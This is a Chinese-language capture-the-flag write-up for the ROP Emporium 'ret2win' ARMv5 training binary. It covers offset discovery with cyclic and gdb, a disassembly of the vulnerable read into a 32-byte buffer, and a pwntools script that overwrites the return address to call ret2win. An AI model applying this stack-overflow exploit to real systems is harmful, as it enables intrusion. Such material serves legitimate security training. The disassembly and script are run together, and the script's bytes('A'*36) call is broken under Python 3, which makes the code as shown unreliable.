ROP_Emporium_ret2win_armv5

文章目录

• ret2win_armv5
• • 信息收集
  • 黑盒测试
  • 反汇编
  • Exp

ret2win_armv5

依赖：

sudo apt install qemu-arm-static gcc-arm-linux-gnueabi

信息收集

$ file ret2win_armv5
ret2win_armv5: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=a82dade296415721f90684517d0e6259d4ba2905, not stripped

黑盒测试

$ ulimit -c unlimited && sudo bash -c 'echo %e.core.%p > /proc/sys/kernel/core_pattern'
$ cyclic 200 > cyclic.txt
$ qemu-arm-static ret2win_armv5 < cyclic.txt
ret2win by ROP Emporium
ARMv5For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!> Thank you!
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Segmentation fault
$ gdb-multiarch ./ret2win_armv5 qemu_ret2win_armv5_20220506-214059_17303.core
...
#0  0x6161616a in ?? ()
$ cyclic -l 0x6161616a
36

反汇编

$ arm-linux-gnueabi-objdump -d ret2win_armv5
...
00010518 <main>:
...1053c:       ebffffa4        bl      103d4 <puts@plt>10540:       e59f0020        ldr     r0, [pc, #32]   ; 10568 10544:       ebffffa2        bl      103d4 <puts@plt>10548:       eb000008        bl      10570 <pwnme>
...00010570 <pwnme>:10570:       e92d4800        push    {fp, lr}10574:       e28db004        add     fp, sp, #410578:       e24dd020        sub     sp, sp, #321057c:       e24b3024        sub     r3, fp, #36     ; 0x2410580:       e3a02020        mov     r2, #3210584:       e3a01000        mov     r1, #010588:       e1a00003        mov     r0, r31058c:       ebffff9f        bl      10410 <memset@plt>10590:       e59f0040        ldr     r0, [pc, #64]   ; 105d8 10594:       ebffff8e        bl      103d4 <puts@plt>10598:       e59f003c        ldr     r0, [pc, #60]   ; 105dc 1059c:       ebffff8c        bl      103d4 <puts@plt>105a0:       e59f0038        ldr     r0, [pc, #56]   ; 105e0 105a4:       ebffff8a        bl      103d4 <puts@plt>105a8:       e59f0034        ldr     r0, [pc, #52]   ; 105e4 105ac:       ebffff82        bl      103bc <printf@plt>105b0:       e24b3024        sub     r3, fp, #36     ; 0x24105b4:       e3a02038        mov     r2, #56 ; 0x38105b8:       e1a01003        mov     r1, r3105bc:       e3a00000        mov     r0, #0105c0:       ebffff80        bl      103c8 <read@plt>105c4:       e59f001c        ldr     r0, [pc, #28]   ; 105e8 105c8:       ebffff81        bl      103d4 <puts@plt>105cc:       e1a00000        nop                     ; (mov r0, r0)105d0:       e24bd004        sub     sp, fp, #4105d4:       e8bd8800        pop     {fp, pc}105d8:       000106b0        .word   0x000106b0105dc:       00010710        .word   0x00010710105e0:       00010730        .word   0x00010730105e4:       00010790        .word   0x00010790105e8:       00010794        .word   0x00010794...000105ec <ret2win>:105ec:       e92d4800        push    {fp, lr}105f0:       e28db004        add     fp, sp, #4105f4:       e59f0010        ldr     r0, [pc, #16]   ; 1060c 105f8:       ebffff75        bl      103d4 <puts@plt>105fc:       e59f000c        ldr     r0, [pc, #12]   ; 10610 10600:       ebffff79        bl      103ec <system@plt>10604:       e1a00000        nop                     ; (mov r0, r0)10608:       e8bd8800        pop     {fp, pc}1060c:       000107a0        .word   0x000107a010610:       000107c0        .word   0x000107c0

Pwnme开头的PUSH {R11,LR}，是先入栈LR（返回地址），再入栈R11（相当于EBP）。add fp, sp, #4，这应该是FULL栈（栈指针指向当前顶部数据的地址）。缓冲区位于fp+36，和测试偏移一致。

Exp

from pwn import *context.clear()
# context.log_level = 'debug'program = "ret2win_armv5"
# context.binary(program)
context.arch = "arm"
context.endian = "little"
context.bits = 32def getio(program):io = process(program)# io = gdb.debug([program], "b main")return io;io = getio(program)# p = gdb.debug(program, "b main")
# pause()pRet2Win = 0x000105ec;
payload = bytes("A"*36)
payload += p32(pRet2Win)io.recvuntil(">")io.sendline(payload)io.interactive()

本文来自互联网用户投稿，文章观点仅代表作者本人，不代表本站立场，不承担相关法律责任。如若转载，请注明出处。 如若内容造成侵权/违法违规/事实不符，请点击【内容举报】进行投诉反馈！